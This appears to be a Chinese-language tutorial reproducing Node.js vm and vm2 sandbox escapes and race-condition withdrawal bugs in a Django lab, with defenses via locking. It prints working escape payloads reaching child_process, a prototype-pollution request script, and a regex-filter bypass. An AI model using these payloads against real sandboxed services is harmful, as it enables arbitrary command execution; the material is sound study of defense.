JS沙箱绕过以及竞争条件型漏洞复现
作者:Catherines7
一、沙箱绕过
1.概念
沙箱绕过"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作。
当攻击者成功绕过沙箱时,他们可以在受影响的系统上执行恶意代码,并且有可能获取敏感信息、传播恶意软件、执行拒绝服务攻击或利用系统漏洞等。
2.例题分析
2.1vm模块例题1(利用上下文对象或this指向)
先说一下最简单的vm模块,vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。
示例
const vm = require('vm'); const script = `...`; const sandbox = { m: 1, n: 2 }; const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res)
其实逃逸出沙箱就一种方法,就是拿到沙箱外部的变量或对象,然后用.toString方法和.constructor 属性来获取Function这个属性,然后拿到process,之后就可以执行任意代码了
这道例题可以直接拿this,因为这里没有方法使用了this,此时this指向global,构造如下payload
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()
this.toString.constructor就是Function这个方法,然后利用Function返回process对象
然后调用子模块执行命令,成功绕过沙箱
这里可能会有疑问,为什么不用m、n来获取Function呢,m、n变量都是在外部定义的啊
这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。
最终用nodejs执行下面的代码
const vm = require('vm'); const script = ` const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString() `; const sandbox = { m: 1, n: 2 }; const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res)
成功执行
2.2vm模块例题2(利用toString属性)
const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
这道例题的this指向就变为null了,无法获取Function属性,上下文中也没有其他对象
此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。
arguments.callee是递归调用自身,.caller是一个指向调用当前函数的函数的引用。它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。所以我们可以使用此方法来获取Function。
那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。
构造如下payload
(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()
这道题的巧妙之处就在于最后的console.log('Hello ' + res),此时res不是字符串,而当一个字符串与另一个非字符串结合时,会把res转为字符串,相当于res.toString,此时就调用了我们payload里面的函数,执行了命令
如果没有最后的console.log('Hello ' + res)这一句代码呢,我们还可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码,这里就不演示了
2.3vm2模块例题1(触发调用栈溢出异常)
但前两个例题主要说的是vm模块,vm本不是一个严格沙箱,只是隔离环境而已。而vm2是一个正经沙箱,难度相较于vm大得多
这道例题是用触发外部异常的方式来绕过的,但是vm2版本必须是在3.6.10之前
这个方法有趣的地方就在于,他是想办法在沙箱外的代码中触发一个异常,并在沙箱内捕捉,这样就可以获得一个外部变量e,再利用这个变量e的constructor执行代码。
而触发异常的方法就是“爆调用栈”,JavaScript在递归超过一定次数时就会抛出异常。
但我们需要保证的是:抛出异常的这个函数是在host作用域中(即沙箱外)。在js执行到1001次时,调用栈溢出,此时就会报错
"use strict"; const {VM} = require('vm2'); const untrusted = ` const f = Buffer.prototype.write; const ft = { length: 10, utf8Write(){ } } function r(i){ var x = 0; try{ x = r(i); }catch(e){} if(typeof(x)!=='number') return x; if(x!==i) return x+1; try{ f.call(ft); }catch(e){ return e; } return null; } var i=1; while(1){ try{ i=r(i).constructor.constructor("return process")(); break; }catch(x){ i++; } } i.mainModule.require("child_process").execSync("whoami").toString() `; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); }
但是好像v8引擎递归的默认限制是10000次,等了10多分钟也没有反应
因此没有去复现这个例题
2.4vm2模块例题(原型链污染+import动态导入)
const express = require('express'); const app = express(); const { VM } = require('vm2'); app.use(express.json()); const backdoor = function () { try { console.log(new VM().run({}.shellcode)); } catch (e) { console.log(e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); }); app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } }) app.listen(3000, function () { console.log('start listening on port 3000'); });
之前讲过原型链污染,在这里就不赘述了
首先通过代码审计发现merge、clone方法,那么大概率存在原型链污染,再看if条件,需要copybody有shit属性,且为真才能进入backdoor()方法,再看backdoor()方法
const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } }
分析new VM().run({}.shellcode),需要{}有shellcode属性,我们可以污染原型链来使空对象有shellcode属性,然后还需要逃逸出沙箱,这里没有上下文对象,我们可以使用动态导入元素的方法来绕过沙箱,构造以下payload
{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js') res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
用Python发送post请求
import requests import json url="http://192.168.239.138:3000/" headers={"Content-type":"application/json"} data={"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n res.toString.constructor(\"return this\")\n ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}} req=requests.post(url=url,headers=headers,data=json.dumps(data)) print(req.text)
最后成功复现(之前报错是因为没有写打印语句)
2.5vm2模块例题(正则绕过)
这道例题由于代码不全,无法复现,但是可以分析
const { VM } = require('vm2'); function safeEval(calc) { if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return new VM().run(calc); }
首先if判断,如果输入的calc参数没有匹配上这个正则,那if条件就会判为真,返回null,如果匹配上了这个正则,那就会被替换为空,if条件就会判为假,最终return new VM().run(calc),所以我们需要匹配上这个正则才行
这个正则可以分三部分
- 第一部分是必须有Math这个关键字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
- 第二部分是匹配了
+
、-
、*
、/
、&
、|
、^
、%
、<
、>
、=
、,
、?
、:
这些符号 - 第三部分是匹配了整数或者浮点数,比如3.14,也可以使用科学计数法,比如3.9e3
这个正则可以说过滤得比较严格,但是我们也可以绕过
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()
分析这个代码,首先正则肯定可以匹配上这段代码
接下来我们再分析为什么会这样写
它创建了一个方法,形参Math,方法的内容是先将Math.constructor赋值给Math,然后调用Math.constructor方法,内容是Math.fromCharCode({gen(c)}),我们可以先不看gen(c),那么这个.fromCharCode方法有什么用呢?
这个方法可以将字符的ascii码转换为字符,这样我们就可以绕过它的正则
最后传参Math+1,这也可以被正则匹配上,那为什么要传这个参数呢
因为Math+1返回的是一个字符串,而字符串的constructor属性是toString方法,而toString方法的构造函数就是Function,最后的()立即执行。
然后便可以找到vm2对应版本的payload,和正则绕过结合,便可以成功实现绕过
二、竞争型漏洞
1.概念
竞争条件型漏洞(Race Condition Vulnerability)是一种安全漏洞,它发生在多个进程或线程竞争访问共享资源时的情况下。这种漏洞出现的根本原因是并发操作的不正确管理,导致了不可预料的结果。
简单来说,竞争条件型漏洞可能在以下情况下出现:
- 多个进程或线程在访问共享资源(如文件、内存、数据库等)时没有进行合适的同步控制。
- 这些进程或线程之间的执行顺序无法预测,因此可能会导致数据的不一致或程序行为异常。
2.环境搭建
这里我们使用ubuntu和Python3来复现漏洞,项目代码在文章上方,解压后cd进入目录
注意这里还需要其他依赖环境,以下是需要使用pip3安装的包,官方源下载速度慢,可以更换国内源,我这里用的是阿里云的
root@localhost:~# vim /etc/pip.conf [global] index-url = https://mirrors.aliyun.com/pypi/simple/ [install] trusted-host=mirrors.aliyun.com
djangopytzpython-dotenvdj-database-urlpsycopg2-binarygunicorngeventdjango-bootstrap5waitress
一切准备就绪后,首先使用migrate生成数据库表,其次创建超级用户,这样我们才能登录后台(后台地址/admin),最后使用collectstatic命令生成前端代码
python3 manage.py migrate python3 manage.py createsuperuser python3 manage.py collectstatic
然后进入templates目录,vim form.html,修改form表单的enctype属性为"multipart/form-data"
最后的最后使用下面的命令启动服务,端口号和ip可以自己更改,如果出现报错,大概率是因为端口被占用或者没有cd切换到对应项目目录下
gunicorn -w 2 -k gevent -b 0.0.0.0:8088 race_condition_playground.wsgi
启动成功后就可以开始我们的实验了
3.复现过程
3.1无锁无事务的竞争攻击
ucenter1是没有任何防御的,无锁无事务 vim /app/ucenter/view.py
这里的css渲染没有成功,不知道什么原因,重试了很多次依然没用,但是不影响我们的操作
首先进入后台,点击user
然后点击超级用户名
然后在money这里添加你想要的钱数
然后save保存,之后访问/ucenter/1,如果钱数正常就说明设置成功了
之后填入100,用bp抓包,抓包成功后复制粘贴到Yakit下,然后选择并发配置,删除不必要的字段
然后点击发送请求,这里我第一次失败了,第二次再发送就成功了
这时我们到后台去看看
发现有两次取款100记录,然而我们的存款只有100,这样就成功复现了
3.2无锁有事务的竞争攻击
ucenter2加上了事务
无锁有事务也并不能防御竞争攻击,事务只是能够实现操作要么成功要么不成功,并不能锁住我们的进程
我们重新添加钱数,抓包,和ucenter1操作一样,这次我一次成功,结果很明显,仍然存在竞争型漏洞
我们来查看后台
两次记录,复现成功,仍然存在竞争型漏洞
3.3悲观锁加事务防御
ucenter3加上了悲观锁和事务,悲观锁的含义是悲观地认为一定会有进程来更新数据,所以悲观锁会提前给进程加锁
在处理表单数据之前,也就是前端刚提交数据后,就使用select for update和主键pk锁住了这个进程,那这个时候读操作也受到了影响。
那么我们再发包就没用了,那我们再次测试看看
只有一次302跳转,也就是说只成功取款了一次,查看后台,也只有一次记录
但是这里有一个问题,如果有大量读操作的场景下,使用悲观锁会有性能问题,因为每次访问view,都会锁住当前用户对象,此时其他用户场景,比如访问主页,也会因此卡住。
这样我们就可以使用乐观锁
3.4乐观锁加事务防御
乐观锁的含义是乐观地认为不会有其他进程来更新数据,而只是到了需要更新数据时,才会给进程加锁
在前端提交表单数据后,乐观锁并没有立即锁住进程,而是在需要取款的时候使用update锁住,这样就不会出现读操作也被禁止的问题了
我们来测试看看,并没有出现竞争漏洞,只有一条302记录
查看后台,仍然只有一条记录
通过这个实验,我们便知道乐观锁加事务是防御竞争条件漏洞的最优解
到此这篇关于JS沙箱绕过以及竞争条件型漏洞复现的文章就介绍到这了,更多相关JS沙箱绕过内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!